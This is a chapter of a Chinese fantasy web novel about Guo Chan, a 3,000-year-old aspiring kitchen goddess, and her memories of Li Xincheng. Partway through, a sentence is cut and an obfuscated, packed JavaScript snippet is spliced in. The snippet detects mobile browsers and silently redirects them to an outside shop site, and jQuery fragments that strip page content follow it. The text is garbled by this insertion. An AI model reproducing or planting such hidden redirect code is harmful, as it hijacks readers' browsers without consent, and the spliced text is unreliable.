在沉默的氛围中,李新民老老实实跟着郭婵走完了一套流程。瞅着郭婵立在灶神像前低头冥想,李新民不敢打扰,就站在郭婵的右后方,他不知道郭婵是不是再赌谁先开口。
他先开口示弱没有问题,但肯定需要先撑过这段时间,若是能引得郭婵先开口,他提出的要求更能被郭婵接受。
李新民只能听到郭婵一声叹息,幽幽开口道:“其实我一眼就认出你了,原本想着你要是忘了我也不会主动提醒,这事对我们两个人而言都不是一件简单的事。你已经离开李家这么久我不好把你再拖进来,个人有个人的缘法。”
李新民想想自己的那些子侄再对比自己小时候记忆中家族的兴盛,略带哀求:“我对家族来说是个不肖子孙。但是老了终究心软想给后辈谋一个前程,希望郭老板能给个机会,其他的都不会从我嘴里露出一个字,这件事就在我们两个人间了结。”
他们都默契地没有提到那个在这件事中最重要的纽带。李新民哪怕到了老年与自己和解也不愿意与李新城的死亡和解。
而对于郭婵来说,神对于人而言总是有着种种冷情冷意的幻想,理所当然的认为一个人生命的重量对于神而言只不过是一段平平的旅程。
她活了三千年,经历了三千年,这世间所有的酸甜苦辣咸她肯定尝过不止一次,甚至成百上千次,谁能保证自己的存在会是漫长人生中浓墨重彩的一笔呢。
李新民不能保证,所以他不提。郭婵不能保证,因为关于李新城的记忆已经在慢慢消失了,她记得李新城带她出去逛庙会,他们买了一对手绘的人物灯,她选的是嫦娥,但是李新城选的什么她已经记不清了。
最后郭婵答应了李新民的请求,把他带过来的算是还有天赋的一个李家子侄李禾收到后厨打下手。
李新民自觉自己还有自知之明只说让李禾给郭婵在后厨帮忙打打下手,郭婵的徒弟必定是她自己精挑细选出来的。
他的堂哥李新城认为自己是郭婵的徒弟但是在他记忆中郭婵从没有喝过李新城的徒弟茶。厨师这一行有着和社会大多数行当上师徒传承相关的规矩。
没有喝过徒弟茶,没有开坛告诉祖师爷自己身后有人,师门有人传承就不算是正式的师徒。放在他那个时代,被人教导过却没有正式行过徒弟礼的要是敢在死后出来争传承是要被人骂被人嫌弃的。
自己的堂哥虽然真真切切地接受过郭婵的教导,但是没有被郭婵正式收为徒弟,那更别提他带来的小辈了,天赋更比不上李新城。
能不能真正拜师就看李禾自己够不够争气了,毕竟他还是要留点脸面在的,太过分了估计他都不好意思再到郭婵这里吃饭了。
郭婵没有送李新民,叫来早早已经回来但是知道郭婵心事不敢现身的叶九仟送走他,顺便关门一个傍晚,今天她实在是没有精力营业了。
叶九仟其实一直关注着祠堂这边,但是他想着郭婵总会处理好的就没有现身。
要按他说就直接用神力销了李老头的记忆,郭婵是没什么神力了但是他和虬龙这点事总能做好的。但是郭婵显然和叶九仟的脑回路没有连接上。
郭婵在成为预备役灶神前就出生于厨师世家虽然走上这条路对她一个女子来说有点艰难但最终结果是好的。她和李新城,李新民都有着相似之处。
她为了自己的梦想在得到天地青睐获得一部分神力后也毅然离开了家族,离开父亲。
她想着的是父亲无法理解自己一个女儿家为什么要追求厨艺,要成为厨师。那么成为灶神,在绝对意义上的厨艺第一无疑是她向父亲证明自己的最好办法。
所以她在青年后一直奔波在外讨教学习,寻找成神的办法。那时她陷入可怕的执念只要一日不成为灶神她就是败给了父亲。
到最后她再次接到父亲的消息已经是他去世了,她以为自己成了灶神哪怕是一个预备灶神就已经不同于常人了,她该是神了。但是在接到这个消息时她一边痛恨依然还保留着人的情感一边哭得稀里哗啦。
之后她怀着一种愧疚与忐忑的心情一直在外奔波,千年流转也没有回过家乡。直到这最后十年,她放弃了过去的种种挣扎选择了回到三千年前她的家乡现在的安南。
盘下一个小铺子,在父亲安息之地给他看看自己的女儿真的成为了一名厨师,他没有儿子碍于家族传承没有收徒弟但是他有人传承。
他的女儿最初就由他教导成材,后来汲取百家之长最终选择回家,回到这个地方证明他有人传承,三千年后依旧存在。
郭婵没有脱离人的范畴哪怕这三千年她有了神力,因为她依然保留了规则感与共情心。应龙和叶九仟不一样他们虽然一出生就是圣兽,化形也已经千年,但是骨子里依旧保留着一丝丝的兽性,他们对于人很难有情感。
对于他们承认的伙伴,都是有巧妙的契机让他们走在一起。叶九仟是因为还没破壳就是由郭婵和应龙抚养,应龙与郭婵结识是因为在应龙最窘迫的时候郭婵陪在身边。
对除了郭婵之外的一般人他们很难有情感上的牵扯与共情。
郭婵在三千年里一直在探寻如何成神的过程中与应龙发生过无数次矛盾,每次应龙都会指责郭婵太感性,她一直留着所谓的凡性,大道无情只要她做不到就不可能成神。
郭婵心里明白应龙说的有道理,但是她就是做不到,她试过强装自己淡漠无情不去参与别人的人生及时止步。
但是一次又一次她没有办法做到不去回应别人给她的情感,无论这种情感是好是坏,是否是别有用心。
她努力过太多太多次没有结果,到最后应龙都在劝她算了吧,你做不到剔除情感就留着,比起盼着你成神,我情愿你快乐地过完这意外得来的三千年。
郭婵放弃挣扎后来到安南偏僻的老街道开了这样一间没有名姓的小餐馆做好了寥寥度过最后十年的准备。
应龙也不知道从哪个角落里窜出来,落到郭婵僵硬的肩膀上,蹭蹭她的侧脸,心疼的说:“不要再想成神的事了,我们现在就挺好的了,不要强逼自己去完成你不可能完成的事。”
郭婵扯了扯嘴角,勉强笑道:“我试了那么多次没有一次是成功,留给我的只有后悔与遗憾。接下来的路我可能真的走不下去了。”
“好好休息一下吧”应龙慢悠悠地飞走,“能够相遇并且陪伴这么久已经是我们的运气了,其他的事不要再去纠结了。”
郭婵没有回答而是很郑重地点了点头,她已经没有退路,在最后的这段时光中她就好好享受自己最真挚的快乐——做菜吧。
而真的等到了夜晚降临这个郭婵唯一的避风港的时候,郭婵不可避免地陷入到过去的记忆中,她渐渐回忆起来她以为自己忘了的那些记忆。
郭婵和李新城相遇在萧瑟秋天。郭婵坐在驴车上,薄薄的布棚在经过半个月的跋涉进入这个北国胜地已经抵挡不了带着冷意的秋风。
郭婵挤在一堆杂物中间,抱臂取暖。应龙趴在旁边一个垫了棉花和干草的小窝上,这天气冷得他都没精打采的,还喊喊着:“小婵婵你一点也不尊老爱幼!连件大衣都不肯分我一半,叛逆吾儿伤透我心呜呜。”
一边假哭一边瞅着郭婵,看见郭婵翻白眼呜呜声更大了。
“得了吧,这种鬼天气你们怎么不照顾照顾我这凡人。”郭婵白眼翻上天,咬牙切齿“你还好意思提大衣,我没给叶九仟大衣吗。结果呢,被你带去打赌赌输了。就你这小窝上的棉花薅的还是我的大衣。”
应龙一听这话嘿嘿笑了两声,说:“别生气别生气,我就是跟你闹着玩呢。”,顽强起身飞了两圈显示自己身强体壮。
在叶九仟撩布帘进来的一瞬间又趴了回去,呜呜,还是好冷但是不敢说了,怕被打。
应龙知道自己哄着叶九
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289744|152097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仟拿出大衣给自己打赌很缺德,但是他都是为了谁啊,还不是为了再赢一件大衣回来,都怪那个老秃驴不讲道德,出家人尽说诳语。
叶九仟在外面吃了满口冷风,发牢骚:“这么冷的天,小婵你怎么忍心要我在外面赶路呢。这驴施个小法术自己就能上路了。”
看到这蠢货,郭婵更气了说:“让你长长记性,用不着大衣那让你吹冷风不是更合你意了。”叶九仟秒变鹌鹑不敢说话了,他错了他不应该跟郭婵求情。
叶九仟和应龙作为圣兽,冷对他们身体不会有影响,但他们能感觉的到,自然也不喜欢。郭婵实在是太气了,本来御寒东西就不多,输了一件大衣出去更是让这个本就不富裕的家庭雪上加霜。
这两货必须收到教训,不然不能平郭婵痛失大衣的心头之恨。车棚里两个活宝不敢说话触郭婵的霉头,一行三人就这样一路寂静地赶路直到到了南方斋的后门。
郭婵跳下车,看着这个已经红漆斑驳的门,发出疑问:“就这?”叶九仟在旁边搭话:“那个大娘就是说的入了庆阳门左转直行看到牌坊再右转。”,又转头环顾四周,才用极度不自信的语气说:“应该是这了。”
“算了,敲门问问吧。”郭婵一个大步直接上前扣了扣门上的铜门环。不久,听见院子里有人回“谁啊?”
叶九仟和郭婵两人立马挂上自认为最礼貌的微笑,郭婵还给叶九仟整了整衣领,结果引来躲在叶九仟衣领处的应龙一声痛呼。
而来开门的李大娘看到就是一对奇奇怪怪的男女,挂着假意的渗人微笑,吓得她差点一把把门甩回去。
还是靠着心中的责任感,李大娘问了一句:“你们哪里的,来这南方斋后院干什么来的?”
叶九仟心中一激动一个原地起蹦,找对地方了。
郭婵心中也很激动,但是看着面前大娘越来越不好看的脸色,把隔壁的憨货一把扯到自己身后,组织语言:“大娘,我们是丹阳来的,丹阳聚德楼的薛老和你们南方斋的老爷子是旧交。我们嘛,上京来也是受薛老的命来拜访拜访老爷子。”
李大娘点点头表示知道了,打秋风来了。看着大娘面色和缓了些,郭婵乘势追击:“麻烦大娘帮我们说一下,让我们见见老爷子。这还没入冬天怪冷的。”
李大娘招呼两人进来坐坐,先把驴车放外面,这门开个缝没人敢偷。又叫来自己的孙子看顾郭婵和叶九仟,她自己去找当家的说说。
郭婵和叶九仟两个人在李大娘孙子的招待下纷纷选择坐在火盆旁,感受着温暖,两人终于觉得自己活过来了。这几百年没来,一来这天气这温度让他们够呛。
过个十来分钟,李大娘跟在一个年轻俊秀的男子身后过来了。
男子看着也就二十来岁,眉目秀美,见他们两人先笑起来,一笑右边的小梨涡就现了出来,添了几分亲近之意。
男子自我介绍:“我叫李新城,是这家的长孙。就是你们要见我爷爷吧。薛爷爷好久没写信来了,不知道两位远朋有没有带话来?”
话音刚落,郭婵就接到:“薛老先生特意托我们送了信给老爷子。”边说边从自己大衣的破口袋里掏出一封被三折四折地有些皱巴的黄色信封。
李新城也不嫌弃接过来仔细端详了信封上的字迹与加印的私章,确定是爷爷的同好,丹阳的薛爷爷的亲笔,才又展开笑颜迎了两人进去内院,把两人带来的行李安放在进来的后院让人看着。
李新民边带着郭婵和叶九仟往里走,一边解释:“南方斋前面是酒楼,后面是厨房和杂院。我们不住在这,等你们见过我爷爷之后,我再带你们去李家大院安置,行李就放在后院走的时候一并带去。”
郭婵和叶九仟哪有反驳的份,只觉得李新城真贴心,一照面就看到了他们贫穷的处境不用他俩卖惨就安排住宿了,因此两人开开心心地跟着李新城往里走去见南方斋的主事人。